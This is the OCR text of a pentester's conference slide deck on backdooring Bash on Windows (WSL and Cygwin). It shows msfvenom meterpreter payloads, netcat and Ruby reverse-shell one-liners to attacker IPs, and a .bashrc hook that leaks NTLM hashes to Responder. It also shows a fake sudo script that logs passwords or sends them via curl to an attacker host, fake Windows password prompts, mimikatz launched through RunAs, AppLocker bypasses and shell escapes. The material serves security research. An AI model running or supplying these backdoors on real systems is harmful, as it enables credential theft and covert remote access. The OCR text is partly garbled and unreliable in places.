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Who am I?

Antoine Cervoise - @acervoise
Pentester @NTT Security FR
| like

* Arduinos, passwords, phishing emails, gift cards,
emulating Keyboard, dumpster diving

* beers, cigars and music
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Backdoor Bash on Windows

1. Bashon Windows
2. Whyis itinteresting?
3. Backdoorit!

— Remote shell

— Get passwords and hashes
4. Applocker? SmartScreen?
5. Forensic

6. Bonus
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Backdoor Bash on Windows

Scripts are available at: https://github.com/cervoise/Abuse-bash-for-windows
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Bash on Windows

http://www.yolinux.com/TUTORIALS/unix for dos users.html
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Bash on Windows

Cygwin "' Windows Subsystem for Linux

Cygwin

* Since 2001 * Since august2016
(build n°14393)

* Notdistributed by Microsoft

* Available since XP *  Replacing Cygwin

* Notinstalled by default but edited by

*  Works from Windows 95 to Windows 10 .
Microsoft

(according to Wikipedia)
*  OnlyforWindows 10 (x64) (and Windows
Server 2019)
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Bash on Windows — Previous research

@
Cygwin ' > Windows Subsystem for Linux - :
Cygwin .

e CVE-2016-3067 e WSLReloaded —BlueHat 2018

https://www.slideshare.net/AnthonyLAOUHIN
CVE-2017-7523 ETSUEI/wsl-reloaded

* ReCon Bruxelles 2018
https://recon.cx/2018/brussels/resources/slid
es/RECON-BRX-2018-Linux-

Vulnerabilities_ Windows-Exploits--Escalating-
Privileges-with-WSL.pdf
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Bash on Windows - Installation

Cygwin

e Basicinstallation file

E cygwin Setup — [m] X
Cygwin Net Release Setup Program

This setup program is used for the initial installation of the

Cygwin environment as well as all subsequent updates. Make
sure to remember where you saved it.

The pages that follow will guide you through the installation
Please note that Cygwin consists of a large number of
packages spanning a wide varety of puposes. We only
install & base set of packages by default. You can always un
this program at any time in the future to add, remove, or

i upgrade packages as necessary.

Setup.exe version 2.889 (64 bit)
Copyright 2000-2018
http://www.cygwin .com/

< Back Next > Cancel
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£33 UPDATE & SECURITY

Windows Update
Use developer features

Windows Defender These settings are intended for development use only.

Learn mare

Backup
- QO Windaws Store apps
cove
Y Only install apps from the Windows Store.
FLL O sidetoad apps
i
o Install apps from ather sources that you trust, such as your

workplace.

QO Developer mode

Install any signed app and use advanced dewelopment
features.

WS I_ Usnmemmm

* Enable developer mode

. Settings -> Update & Security -> For Developers ->
Developer mode

* Add Windows Subsystem for Linux (beta)
feature

. Control Panel -> Programs -> Programs and Features ->

. B Windows Features - [m] X
Turn Windows features on or off i
Turn Windows features on or off (7}

To turn a feature on, select its check box. To turn a feature off, clear its
check box, A filled box means that only part of the feature is turned on,

Simple TCPIP services (i.e. echo, daytime etc) ~
SME 1.0/CIFS File Sharing Suppert
SMB Direct

Telnet Client

TFTP Client

Windows Identity Foundation 3.5
Windows PowerShell 2.0

‘Windows Process Activation Service
‘Windows Subsystem for Linux (Beta)
‘Windows TIFF IFilter

‘Werk Folders Client

PS Services

"
dRONOROOO0ORO

Cancel
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Bash on Windows - Installation

IE Cygwin Setup - Select Packages

Select P
Select packages to install

View [Categoy  ~| Search Clear OKeep @Best OSync  [JTest
Cazgory  New Bn? Se? Size Package ~
st Apps (73) showall
Accessbiity £ Defauit
imin &¥ Default
Archive € Defautt
Debian GNU/Linux
*hkkhok 18
=
Free
HP &¥ Default
71 D dnlishinn £ Niaf=i b ©
< >
Hide obsolete packages
< Back Next > Cancel
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| KALI I

BY OFFENSIVE SECURITY

Kali Linux SUSE Linux Linux Cheatsheet
*k Kk 42 Enterprise Server 12 kw22
= *hkkn 5 210
=
Free Free Free™
17102018
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Bash on Windows — Main difference

c &) cervoise@DESKTOP-64LPQIR: ~ — O X

(console) x86-64 (stripped to external FDEB

ipped
x
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Bash on Windows — Where is Cygwin?

32 bits 64 bits
This PC » System (T} » cygwingd
.

Name o~ & Mame Date modified
. bin bin 2/27/2018 £:39 PM
. dev dev 2/27/2018 6:40 PM
.. etc etc 2/27/2018 £:41 PM
. home home 2/27/2018 8:36 PM
lib lib 2/27/2018 £:39 PM
sbin shin 2/27/2018 6:36 PM
tmp tmp 2/27/2018 641 PM
HE usr 2/27/2018 6:36 PM
g’gwm var 2/27/2018 6:36 PM
C cygwin Cygwin.bat 2/27/2018 8:32 PM
& cygwin-Terminal E Cygwin.ico 2/27/2018 8:32 PM
E Cygwin-Terminal.ico 2/27/2018 &:32 PM

11 © 2018 NTT Security [AbusingBashForWindows]-{Extemal-{Finallv[1.0] 17102018 (®) NTTSecurity



Bash on Windows — Where is Cygwin?

a_user_file Properties *

caladmin/

General Securty Details Previous Versions
a_local_admin_file Properties

Object name:  C:h\cygwinb4‘\home'cervoisea_user file
General Security Detalls Previous Versions

Group or user names:

Object name:  C:\cygwinB4‘home“ocaladmin‘a_local_admin_file

“ATout le monde

a cervoise (HACKLLU \cervoise)

|SI'\:lLIl:l or user names:

a’.’ 5-1-5-21-3565797681-1696963165-4180300978-513
a localadmin (DESKTOP-64LPQIR ocaladmin)
BR Aucun (DESKTOP-B4LPQIR Aucun)
To change pemmissions, click Edit. Edit__
To change permissions, click Edit. g Edit...
Permissions for Tout le monde Allow Dery
Permissions for Tout le monde Allow Deny Full control
ull eontro
Full control
Madify
Modify
Read & execute Read & execute
Read v Read v
Write Write
Special pemissions Special permissions
F ial pemissi dvanced settings, ! o '
Cfcrf?:jc\:aanﬁ?lssms or advaneed setings Advanced For special pemissions or advanced settings, Riaeed

click Advanced.

Cancel Apph
Cancel Appl
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Bash on Windows — Where is WSL?

ThisPC 5> System (C:) > Users > cervoisea » AppData > Local » bss > rootfs »

"~ MName

bin
boot
cache

data

etc

home

lib64

media
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=

Date modified

2/23/2018 10:31 AM
2/19/2018 3:04 PM
2/19/2018 3:06 PM
2/19/2018 3:06 PM
2/18/2018 3:04 PM
2/23/2018 9:57 AM
2/19/2018 3:06 PM
2/19/2018 3:04 PM
2/19/2018 3:04 PM
2/18/2018 3:04 PM
2/18/2018 2:04 PM
2/19/2018 3:04 PM
2/19/2018 3:04 PM
2/19/2018 3:06 PM
2/18/2018 3:04 PM
2/18/2018 2:04 PM
2/19/2018 3:04 PM
2/19/2018 3:04 PM
2/19/2018 3:04 PM
2/26/2018 3:33 PM
2/18/2018 3:06 PM
2/19/2018 3:06 PM
2/27/2018 5:25 PM

Type

File folder
File folder
File folder
File folder
File folder
File folder
File folder
File folder
File folder
File folder
File folder
File folder
File folder
File folder
File folder
File folder
File folder
File folder
File folder
File folder
File folder
File folder
File

Ucers cervoise' AppDatatLocal\Packages\ Canonical Grou

MName
bin
boot

dev

ete

O SO

home
lib
libG4
media
mnt
opt
proc
root
run
shin
snap
srv
sy's
tmp
usr

war

[ init
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pLimited.UbuntuonWindow

Date modified

10/8/2018 9:17 AM
10/8/2018 %:04 AM
10/8/2018 9:04 AM
10/8/2018 9:19 AM
10/8/2018 9:18 AM
10/8/2018 9:05 AM
10/8/2018 9:05 AM

10/8/2018 9:18 AM
10/8/2018 %:05 AM
10/8/2018 9:05 AM
10/8/2018 %:05 AM
10/8/2018 9:05 AM
10/8/2018 %:05 AM
10/8/2018 9:05 AM
10/8/2018 %05 AM
10/8/2018 9:05 AM
10/8/2018 10:06 AM
10/8/2018 9:16 AM
10/8/2018 %17 AM
10/8/2018 10:06 AM

17102018

Type

File folder
File folder
File folder
File folder
File folder
File folder
File folder
File folder
File folder
File folder
File folder
File folder
File folder
File folder
File folder
File folder
File folder
File folder
File folder
File folder
File

Size
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Bash on Windows — First run

@ cervoise-debian@DESKTOP-B4LPOIR: ~ — m} X
11i is m i

leton files.
e for t us to pe

written nor auto

. prof
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Bash on Windows — About sudo

sudo: command not found
R: $ apt update

. Dor

flock - open (13: Permission denied)
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16

Bash on Windows - /etc/shadow

@ cervoise@DESKTOP-64LPCIR: ~

: sudo: command not found

© 2018 NTT Security [AbusingBashForWindows]-[Extemal]-[Final]-v[1.0] 17102018
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Bash on Windows - /etc/shadow

B8 Command Prompt - X BN Select C:\Windows\system32\cmd.exe - O *

/mnt/c/Windows/System32/cmd.exe /c "type C:\Users\cervoisea\AppData\Local\lIxss\rootfs\etc\shadow"
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Bash on Windows - /etc/shadow

Old WSL

C:\Users\USERNAME\AppData\Local\Ixss\rootfs\etc\shadow

New WSL
C:\Users\USERNAME\AppData\Local\Packages\PACKAGENAME\LocalStaterootfs\etc\shadow
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Bash on Windows - /etc/shadow

WSL Package name example

Ubuntu CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc
Ubuntu 16.04 CanonicalGroupLimited.Ubuntul6.04onWindows_79rhkp1fndgsc
Ubuntu 18.04 CanonicalGroupLimited.Ubuntul8.04onWindows_79rhkp1fndgsc

Debian TheDebianProject.DebianGNULinux_76v4gfsz19hv4

Kali KaliLinux.54290C8133FEE_ey8k8hgnwgnmg
OpenSuse Leap 42 46932SUSE.openSUSELeap42.2_022rs5jcyhyac

Suse Linux Enterprise Server 12 46932SUSE.SUSELinuxEnterpriseServer12SP2 022rs5jcyhyac

Metasploit POST module: https://github.com/cervoise/Abuse-bash-for-windows/blob/master/metasploit-module
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20

Bash on Windows — From Windows
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B cervoise-kali@DESKTOP-B4LPCIR: ~
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Bash on Windows — From Windows

Ubuntu bash

SyStem CLI Ubuntu 16.04 ubuntule6e04

Cygwin32bits C:\cygwin\Cygwin.bat

Ubuntu 18.04 ubuntul804
Cygwin 64 bits C:\cygwin64\Cygwin.bat Debian debian
Kali kali

OpenSuse Leap 42 Opensuse-42

Suse Linux Enterprise slesl?2
Server 12
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Bash on Windows — To Windows

‘e "whoami™

@ cervoise@DESKTOP-84LPOIR: ~

'QIR: % /mnt/c/Windows/System32/cmd.exe /c whoami

Command used after /c must use Windows PATH
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Bash on Windows — To Windows

[Version 10.0.1713
:0ft Corporation. All = reserved.

C % cygwi ngd homeh cervoises
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Bash on Windows — From Windows

nonicalGroupLimited. UbuntuonWindo rhkplfn c \r fs\home\cervoi

.UbuntuonWindo

wing4yhom

wing4yhom

in-file
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Bash on Windows — From Windows

On first WSL system, files cannot be created or edited from Windows

atal\Localilxss\homel Vhacklu-folder»echo 1 » old-wsl-file-c

s home voiseal\hacklu-folder:»bash
cklu-folder/

L

[ W
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Bash on Windows — Fun facts

AV was not able to look into WSL subsystem: https://theinfogrid.com/tech/microsoft/wsl-allows-

malwares-full-undetectable/

9 engines detected this file

SHA-256 f0dd4b9198f3fe038abf862d70cf1921904770fc8874e316fde2cf820d1ebdgc
File name meterpreter2.elf
File size 889.83 KB
Lastanalysis  2018-10-15 15:03:57 UTC
9/57 £t
Detection Details Community
Antiy-AVL A Trojan[Backdoor]/Linux Agent.aq Avast A ELF:Agent-QM [PUP]
Avast Mobile Security A ELFAzentQF[PUP] AVG A ELFAgentampUP]
avariant of
ESET-NOD32 Jiangmin Backdoor.Linux.bgdf
A Linux/Riskware.Meterpreter. A & A : &
Kaspersky A HEUR:Backdoor.Linux.Agent.aq Tencent A Backdoor.Linux.Agent.a
ZoneAlarm A HEUR:Backdoor Linux.Agent.aq Ad-Aware 0 Clean
26 © 2018 NTT Security [AbusingBashForWindows]-[Exte mal]-[Final]-v[1.0] 17102018
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Why is it interesting?

g

i‘(

-

¥

»
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Why is it interesting?

Bash users on Windows are:
* Developers
e Admins

* Incident Response teams

Everything can easily be done with a simple shell

Malware for Linux now works on Windows (maybe?)
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Prerequisites

Backdoor Bash on Windows assumes that you already have (non privileges) code execution
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Why is it interesting? Cases examples

1. RCEonacomputer 1. RCE on admin computer (non privileged

2. Hide areverse shell into a WSL process (less account)

monitored) 2. Extract /etc/shadow and crack the hash

3. Password reused between Windows local
admin accountand Sudo WSL

30 © 2018 NTT Security [AbusingBashForWindows]-[Extemal]-[Final]-v[1.0] 17102018 @ NTT Security
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Remote shell
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Remote shell — Having a Remote Shell

pentestmonkey

Source: http://pentestmonkey.net/cheat-
sheet/shells/reverse-shell-cheat-sheet

* Bash

* PERL

* Python (2.7 / 3)
* PHP

*  Ruby

* Netcat

*  Jave

 xterm

© 2018 NTT Security

Meterpreter

:~# msfvenom RHOST=192.168.1.92 RPORT=4444 -p linux/x86/meterpreter reverse tcp -f
elf > reverse-4444-x86.elf
[-]1 No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-]1 No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 961844 bytes
Final size of elf file: 961844 bytes
:~# msfvenom RHOST=192.168.1.92 RPORT=4444 -p linux/x64/meterpreter reverse tcp -f
elf > reverse-4444.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-]1 No arch selected, selecting arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 911184 bytes
Final size of elf file: 911184 bytes
~#
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http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

Remote shell — Default install

Remote shell from pentestmonkey (http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)

IS ) T I

Ubuntu (old one)

Ubuntu / Ubuntu 16.04 /
Ubuntu 18.04

Debian / Kali

SLES 12 / OpenSUSE Leap
42

Cygwin 32/64 bits

33 © 2018 NTT Security

OK

OK

OK

OK

OK

OK

OK

Nok

Python 2 Nok

Python 3 Nok Nok

Nok Nok Nok

Python2 Not Nok
working

Nok Nok Nok
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Nok

Nok

Nok

Nok

17102018

No —e

No —e

Nok

No —e

Nok
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http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

Remote shell — Default install

NC (https://pen-testing.sans.org/blog/2013/05/06/netcat-without-e-no-problem/):

S mknod /tmp/backpipe p && /bin/sh 0</tmp/backpipe | nc pentestbox 443
1>/tmp/backpipe

Ruby (https://github.com/Snifer/security-cheatsheets/blob/master/reverse-shell)

S ruby -rsocket -e 'exit if
fork;c=TCPSocket.new("192.168.43.92","8080");while(cmd=c.gets); IO.popen
(cmd, "r") {|io|lc.print io.read}end'’

34 © 2018 NTT Security [AbusingBashForWindows]-{Extemal-{Finallv[1.0] 17102018 (®) NTTSecurity


https://pen-testing.sans.org/blog/2013/05/06/netcat-without-e-no-problem/
https://github.com/Snifer/security-cheatsheets/blob/master/reverse-shell

Remote shell — Add a package

Ubuntu /Kali/ apt install package Linux root
Debian
SLES 12/ zypper install package Linux root
OpenSUSE Leap 42
Cygwin 32 NOP
Cygwin 64 curl -s https://raw.githubusercontent.com/transcode-open/apt- Windows local

cyg/b5716e128d5d5800c7324adaef7cdaB8f3falad68/apt-cyg > apt-cyg

bash apt-cyg install package administrator
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Remote shell — (not) Having a ELF Meterpreter on Cygwin

$ file reverse-4444~=

reverse-4444 . e1f: ELF 64-bit LSB executable, x86-64, version 1 (SYsVv), statically Tinke
d, corrupted section header size

reverse-4444-x86.el1f: ELF 32-bit LSB executable, Intel 80386, version 1 (SYsv), statically
linked, corrupted section header size

$ ./reverse-4444.el1f
-bash: ./reverse-4444._el1f: cannot execute binary file: Exec format error

—

$ ./reverse-4444-x86.elf
-bash: ./reverse-4444-x86.e1f: cannot execute binary file: Exec format error

—~

S |
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Remote shell — Having a reverse shell on WSL

Metasploit payload
linux/x64/meterpreter_reverse_tcp->stagedless payload -> working

linux/x64/meterpreter/reverse_tcp ->staged payload -> not working

linux/x64/shell_reverse_tcp->stagedless payload ->working

linux/x64/shell/reverse_tcp ->stagedless payload -> not working

37 © 2018 NTT Security [AbusingBashForWindows]-[Extemal]-[Final]-v[1.0] 17102018 @ NTT Security



Remote shell — Having a ELF Meterpreter Shell

msf exploit( ) > run

[*] Started reverse TCP handler on 192.168.43.92:4444
[*] Meterpreter session 1 opened (192.168.43.92:4444 -> 192.168.43.210:50329) at
2018-10-15 11:11:40 -0400

meterpreter > sysinfo

lwmnm“nnm BWERSE s““l : DESKTOP-1V4UNT6.localdomain
: ~ r :

Ubuntu 18.04 (Linux 4.4.0-17134-Microsoft)

i ! v x64
BuildTuple : x86 64-linux-musl
Meterpreter : x64/linux

oy

meterpreter > getuid

Server username: uid=1000, gid=1000, euid=1000, egid=1000
meterpreter > shell

Process 85 created.

Channel 1 created.

p- -
TRY A LINUX PRYLOAD Tho
/home/cervoise
h s »

/mnt/c/Windows/System32/cmd.exe
"?<*" i Microsoft Windows [Version 10.0.17134.345]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>whoami
" whoami
\ desktop-1lv4unté\cervoise

C:\WINDOWS\system32>

© 2018 NTT Security [AbusingBashForWindows]-[Extemal]-{Final]-v[1.0] 17102018 (©) NTTSecurity




Remote shell — Hide a Remote Shell

Screen is not available but https://blogs.msdn.microsoft.com/commandline/2017/12/04 /background-
task-support-in-wsl/

Background Task Walk-Through

Without further ado, let's take a walk-through background task support using tmux. If you are not already familiar with tmux itis a
terminal multiplexer command line tool that allows you to split terminal screens and togagle between windows rather seamlessly. For more

tips on using tmux, please refer to a blog we wrote a while back.

Let's start by creating a new tmux session and naming it:

$tmux new -s backgroundsession

39 © 2018 NTT Security [AbusingBashForWindows]-[Extemal]-[Final]-v[1.0] 17102018 ® NTTSecurity


https://blogs.msdn.microsoft.com/commandline/2017/12/04/background-task-support-in-wsl/

Get passwords and hashes

. . 2
i s
e A S 29

L
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Backdoor — Case 1 — Get Domain Hash

Add a small script at Bash startup, which performs a SMB request to your computer.
The aim is to get a SMB request that you can catch with Responder.
* Havethe hash while the useris changing his password

e  Computeris off the network

41 © 2018 NTT Security [AbusingBashForWindows]-[Extemal]-[Final]-v[1.0] 17102018 @ NTT Security



42

Backdoor — Case 1 — On the victim — WSL/Cygwin

C:\users\victim>bash / C:\cygwin64\Cygwin.bat
victim@laptop:~$ echo "./.call-me.sh" >> .bashrc

victim@laptop:~$ echo "icacls.exe \"\\\\\\\\yourIp\\\\yourShare\\\\\" >
/dev/null 2>&1" >> .call-me.sh

victim@laptop:~$ chmod u+x .call-me.sh
victim@laptop:~$ exit

C:\users\victim>exit

© 2018 NTT Security [AbusingBashForWindows]-[Exte mal]-[Final]-v[1.0] 17102018 @ NTTSecurity



Backdoor — Case 1 — On the attacker

Run responder (https://github.com/SpiderLabs/Responder)

$ sudo python Responder —-I ethO
Or configure relay attack

https://threat.tevora.com/quick-tip-skip-cracking-responder-hashes-and-replay-them/
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Backdoor — Case 1 — Video

[+] Listening for events...
SM NTLMv2
NTLMv2

2F

[*] Skipping previously captured hash for HACKLU\cervoise
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Backdoor — Case 2 — Get Bash sudo password

Add a fake sudo scriptin the PATH in order to get the password from the user.

As there is no sudo system on Cygwin this is only targeting WSL.
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Backdoor — Case 2 — On the victim - WSL

C:\users\victim>
victim@laptop:~$
victim@laptop:~$
victim@laptop:~$
victim@laptop:~$
victim@laptop:~$
victim@laptop:~$
victim@laptop:~$
victim@laptop:~$
victim@laptop:~$
victim@laptop:~$

C:\users\victim>

© 2018 NTT Security

bash

mkdir .hidden

echo "export PATH=\S$HOME/.hidden/:\SPATH:" >> .bashrc
echo "read -sp \"[sudo] password for SUSER: \" sudopass" > .hidden/sudo
echo "echo \"\"" >> _hidden/sudo

echo "sleep 2" >> .hidden/sudo

echo "echo \"Sorry, try again.\"" >> .hidden/sudo

echo "echo S$sudopass >> .hidden/pass.txt" >> .hidden/sudo
echo "/usr/bin/sudo \$1" >> .hidden/sudo

chmod +x .hidden/sudo

exit

exit
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Backdoor — Case 2 — On the victim (alternative)

Replace

victim@laptop:~$ echo "echo $sudopass >> .hidden/pass.txt" >>
.hidden/sudo
by

victim@laptop:~$ echo "curl http://yourIP:8000/2?Ssudopass" >>
.hidden/sudo
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http://yourip:8000/?$sudopass

Backdoor — Case 2 — Video
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Backdoor — Case 3 — Get Domain Password

Add a small script at startup, which runs a fake password promptin order to get local admin/domain
password.

@ cervoiseal e

o+
b

-
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Backdoor — Case 3 — On the victim - WSL

C:\users\victim>bash
victim@laptop:/mnt/C/Users/victim$ cd
victim@laptop:~$ echo "echo \"Bash must check for update.\"" >> .bashrc

victim@laptop:~$ echo "WINUSER=S (/mnt/c/Windows/System32/whoami.exe 2>
/dev/null | sed 's/.$//')" >> .bashrc

victim@laptop:~$ echo "read -sp \"Please enter you Windows password for
SWINUSER: \" WINPASS >> .bashrc

victim@laptop:~$ echo "echo SWINPASS >> .hidden-win-pass" >> .bashrc
victim@laptop:~$ echo "sleep 2" >> .bashrc

victim@laptop:~$ echo "echo \"Bash updated\"" >> .bashrc
victim@laptop:~$ exit
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Backdoor — Case 3 — On the victim - Cygwin

C:\users\victim> C:\cygwin64\Cygwin.bat

victim@laptop~$ echo
.bashrc

victim@laptop~$ echo
SWINUSER: \" WINPASS

victim@laptop~$ echo
victim@laptop~$ echo
victim@laptop~$ echo
victim@laptop~$ exit

© 2018 NTT Security

"echo \"Cygwin must check for update!\"" >>

"read -sp \"Please enter you Windows password for
" >> .bashrc

"echo \SWINPASS >> .hidden-win-pass" >> .bashrc
"sleep 2" >> .bashrc

"echo \"Cygwin updated!\"" >> .bashrc
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Backdoor — Case 3 — Video
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Backdoor — Case 4 — Ask for local admin privileges

Use runas in order to run your script with local admin privileges

* Meterpreter

*  Mimikatz
* Etc.
Options:

* Runas fromCLI
* Runas with Powershell

* ShellRunAs from Sysinternals

© 2018 NTT Security
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Backdoor — Case 4 — Ask for local admin privileges

aladmin cmd

@ cervoise@DESKTOP-64LPCIR: ~

i KTC fmnt/c/Windows/ 5y ! exe fuser:localadmin cmd
the [_1-4 '-'~l.n|r|'1 for l___l-u'lrﬂlrl

4LPQIR: %

54 © 2018 NTT Security [AbusingBashForWindows]-[Extemal]-[Final]-v[1.0] 17102018 ® NTTSecurity



55

Backdoor — Case 4 — Ask for local admin privileges

> Type BashUpdate.bat

C:\Users\cervoise\mimikatz.exe "log
C:\Users\cervoise\mimikatz-log.txt "
privilege: :Debug
sekurlsa::logonPasswords exit

> powershell.exe —-Command "Start-
Process BashUpdate.bat -Verb RunAs"

© 2018 NTT Security

i Windows Command Processor

Verified publisher: Microsoft Windows

Show more details

To continue, enter an admin user name and password.

IJsrrnan‘c

Password

Domain: HACKLU

[AbusingBashForWindows]-[Extemal]-[Final]-v[1.0] 17102018
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Backdoor — Case 4 — Ask for local admin privileges

Windows Security *

Sysinternals|Run as Different User

Please enter credentials to use for

Mot de passe

Domaine : HACKLU

oK Cancel
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Backdoor — Case 4 — Ask for local admin privileges

runas.exe * CLI based
*  Not working with Cygwin or WSL

PowershellRunAs ¢ Mustelevate
* Thelaunch binary is not showcased

ShellRunas.exe * The running binary is not showcased Need to add a third part software
(Sysinternals) * Sysinternals is mentioned
* Anon elevated user can be used
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Backdoor — Case 4 — On the victim - WSL

C:\users\victim>bash
victim@laptop:~$ cd

victim@laptop:~$ echo " echo \"Bash must check for update! \"" >>
.bashrc

victim@laptop:~$ echo "
/mnt/c/Windows/System32/WindowsPowerShell/v1.0/powershell .exe —-Command
\"Start-Process c:\users\victim\BashUpdate.bat -Verb RunAs\"" >>
.bashrc

victim@laptop:~$ echo " echo \"Bash updated! \"" >> .bashrc
victim@laptop:~$ exit

C:\users\victim>echo yourEvilScript > BashUpdate.bat
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Backdoor — Case 4 — On the victim - Cygwin

C:\users\victim>cd ..\..\Cygwin64\home\victim

C:\Cygwino64\home\victim>echo echo "Cygwin must check for update!" >>
.bashrc

C:\Cygwino4\home\victim>echo
/mnt/c/Windows/System32/WindowsPowerShell/v1.0/powershell .exe —-Command
"Start-Process c:\users\victim\meterpreter.bat -Verb RunAs" >> .bashrc

C:\Cygwino4\home\victim>echo echo "Cygwin updated!"™ >> .bashrc
C:\Cygwin64\home\victim>cd ..\..\..\users\victim

C:\users\victim>echo yourEvilScript > BashUpdate.bat
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Backdoor — Case 4 — Video
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ApplLocker? SmartScreen?
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Bypass AppLocker?

AppLocker guides:

*  https://nvipubs.nist.gov/nistpubs/specialpublications/nist.sp.800-167.pdf

e https://github.com/nsacyber/AppLocker-Guidance

* (FR) https://www.ssi.gouv.fr/uploads/2013/12/np_applocker_notetech-v2.pdf

e https://docs.microsoft.com/en-us/windows/configuration/lock-down-windows-10-applocker
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Action Llser Mame Condition

Bypa SS App|OCker ¥ Allow Everyone (Default Rule) All scripts located inthe ...  Path

W Allow  Everyone (Default Rule) All scripts located inthe ... Path
0 Allow BUILTIMNWAL...  (Default Rule) All scripts Path
« Default Policy »
2 Local Security Policy Action User Mame Exceptions
File Action View Help ¥ Allow Everyone (Default Rule) &ll signed packaged apps
LI ARl all=Y
.Eé Security Settings Action User MName Condition |
—% fccolupntr?llcles ﬂﬁllow Everyone (Default Rule) All files located in the Pro...  Path
—j_ “?‘ad ° 'B':: der Firewrall with Ad @ Allow  Everyone (Default Rule) All files located in the Wi..  Path
indows Defender Firewall wi VE|| o
. Al BUILTIMVAG... Default Rule) All fil Path
|| Metwork List Manager Policies 8 Allow WA (Defaut Rule) fes 2
[] Public Key Policies Create New Rule...
;_I So@aré Restriction Pol.ic.ies Automatically Generate Rules...
w || Application Control Policies
- @ AppLocker Create Default Rules
7] Executable Rules Export List...
Windows Installer Rules i AppLocker defines script rules to include only the following file formats:
=] Seript Rules View ?
B Packaged app Rules Arange lcons 5 * psi
g IP Security Policies on Local Compute ) o bat
[ Advanced Audit Policy Configuration Line up lcons ’
* cmd
Help
® vhs
® s

Source: https://docs.microsoft.com/en-us/windows/security/threat-protection /windows-
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https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/script-rules-in-applocker

Bypass Applocker

BN C\Windows\system32\cmd.exe

« Default Policy »

N . This is b 3 y. For more information, cont ) ystem administrator.

Recycle Bin

Cygwin Terminal

calc.exe C:\cygwin\bin\mintty.exe

test.bat

@ Your system administrator has blocked this program. For more information, contact your
system administrator.

64 © 2018 NTT Security [AbusingBashForWindows]-[Extemal]-[Final]-v[1.0] 17102018 ® NTTSecurity



Bypass AppLocker — Run a script

Allows user to run Cygwin

tem d.

program i Tock group polic
r system 11N

65 © 2018 NTT Security

win\hom

win\hom
am
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Bypass ApplLocker — Run a script

Allows user to run WSL

&) cervoise@DESKTOP-2QGCUTU: ~ O ®

$ cat WSL-script.sh

i~% ..HSL—siript.sh
HlH—w-rlu .ba

ndows ?ﬂthul+nde ; \rootfsihome\cervoi

ipt.bat
~am is blocked by group policy. For more information
~ system administrator.

icalGrouplLimite
‘home\cervoi
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Bypass AppLocker — Run a binary

Allows user to run Cygwin

Automatically Generate Executable Rules

Folder and Permissions

This wizard helps you create groups of ApplLocker rules by analyzing the files within a
folder that you select.

User or security group that the rules will apply to:
DESKTOP-CUUSBBV\cervoise

| | Select...

Folder that contains the files to be analyzed:

|C1\C)'9W‘” | Browse...
Name to identify this set of rules:
|cygwm |
More about these settings
Evio Mext > Create

Cancel

© 2018 NTT Security

Action

& Allow
& Allow
& Allow
¥ Allow
W Allow
W Allow
& Allow
W Allow
W Allow
Wi Allow

User

Tout le monde
Tout le monde
Tout le monde
BUILTIMNAG...
DESKTOP-C...
DESKTOP-C...
DESKTOP-C...
DESKTOP-C...
DESKTOP-C...
DESKTOP-C...

[AbusingBashForWindows]-[Exte mal]-[Final]-v[1.0]

Marme

(Default Rule) All files located in the Program Files folder

(Default Rule) All files located in the Windows folder
FPROGRAMFILESSE\

(Default Rule) All files

cygwin: %0SDRIVEZNCYGWINAUSRASBIMNY

cygwin: %0SDRIVEZNCYGWINAUISRALIBEXECY™

cygwin: %0SDRIVENCYGWINAUISRAB86-P C-CYGWINABINYT
cygwin: %0SDRIVEZCYGWINASBING

cygwin: %0SDRIVEZACYGWINALIBAGCCV686-PC-CYEWINYT. 300
cygwin: 30SDRIVEACYGWINYBINY

17102018

Condition
Path
Path
Path
Path
Path
Path
Path
Path
Path
Path
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Bypass AppLocker — Run a binary

Allows user to run Cygwin (gccis not installed by default)

policy. For more information

STratctor.

=sjon denied
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Bypass AppLocker — Run a binary

Allows user to run WSL

gccis installed by default on SLES 12 and OpenSUSE Leap 42
gccis not installed by defaut on others system but can be installed even with AppLocker activated (and

root password)

&) cervaise@DESKTOP-20QGCUTU: ~ O X

:~% cat hello.c

kiu! \n "

hello.c -o hello
./hello

Hello, HackLu!
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SmartScreen

Windows Defender Security Center

B App & browser control
ﬁ' Set up Windows Defender SmartScreen settings for apps and browsers.

©
jo} Check apps and files

Windows Defender SmartScreen helps protect your device by checking fo

(T1)
y unrecognized apps and files from the web.
8
(® Block
=
O Warn
¥ QO of
h

Privacy statement

! ! ] :
& | ‘ | ] = Application Tools

Home Share Wiew

H Illde: 4 > ThisPC » Local Dig

| Name SmartScreen can't be reached right now

= [&=] hello.
[ Desktop A it

Check your Internet connection. Window: der SmartScreen is
unreachable and can't help you decide if pp is ok to run

Publisher: Unknown Publisher

App: hello.exe
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Forensic
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Forensic

Investigate Bash Subsystem (WSL and Cygwin) Questions
* Files * How toinvestigate into WSL subprocess?
*  .bash_history *  How Windows handles WSL memory?

* Configuration
. PATH
* Running process
*  Cygwin: process can be found between users

*  WSL: process cannot be investigated between
users
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Bonus

Linux jail escape on Windows binaries

e
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Bonus - VIM

{5 [No Name] - VIM

& [No Name] - VIM - [{cmd)
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Bonus - GVIM
i

File Edit Tools Syntax Buffers Window Help

SERE 2dE| i an BRB|[SESA TIHA? 2

~ UIM - Vi IHproved

version 8.8.586

by Bram Moolenaar et al. . . . .
Uim is open source and freely distributable | ® ' C:\Program Files (x36)\Vim\vimB0vimrun.exe

Help poor children in Uganda?
™~ type :help iccf<Enter> for information [ nosof 11 OWs neion B,

. All
™~ type :q<Enter> to exit
~ type :help<Enter> or <F1> for on-line hel]

type :help version8<Enter> for version infil
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Bonus — GnuWin32

Not working:

* Tar:no--Ior--checkpoint-action

As on Linux:

* Less: less fileToView then ! yourEvilScript.bat

* Zip:zip test.zip test -T -TT yourEvilScript;bat
Not as on Linux but working:

* Awk:awk "BEGIN {system(\"yourEvilScript.bat\")}"

* Find: find . -name "grep.exe" -exec yourEvilScript.bat {} ;
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Questions?
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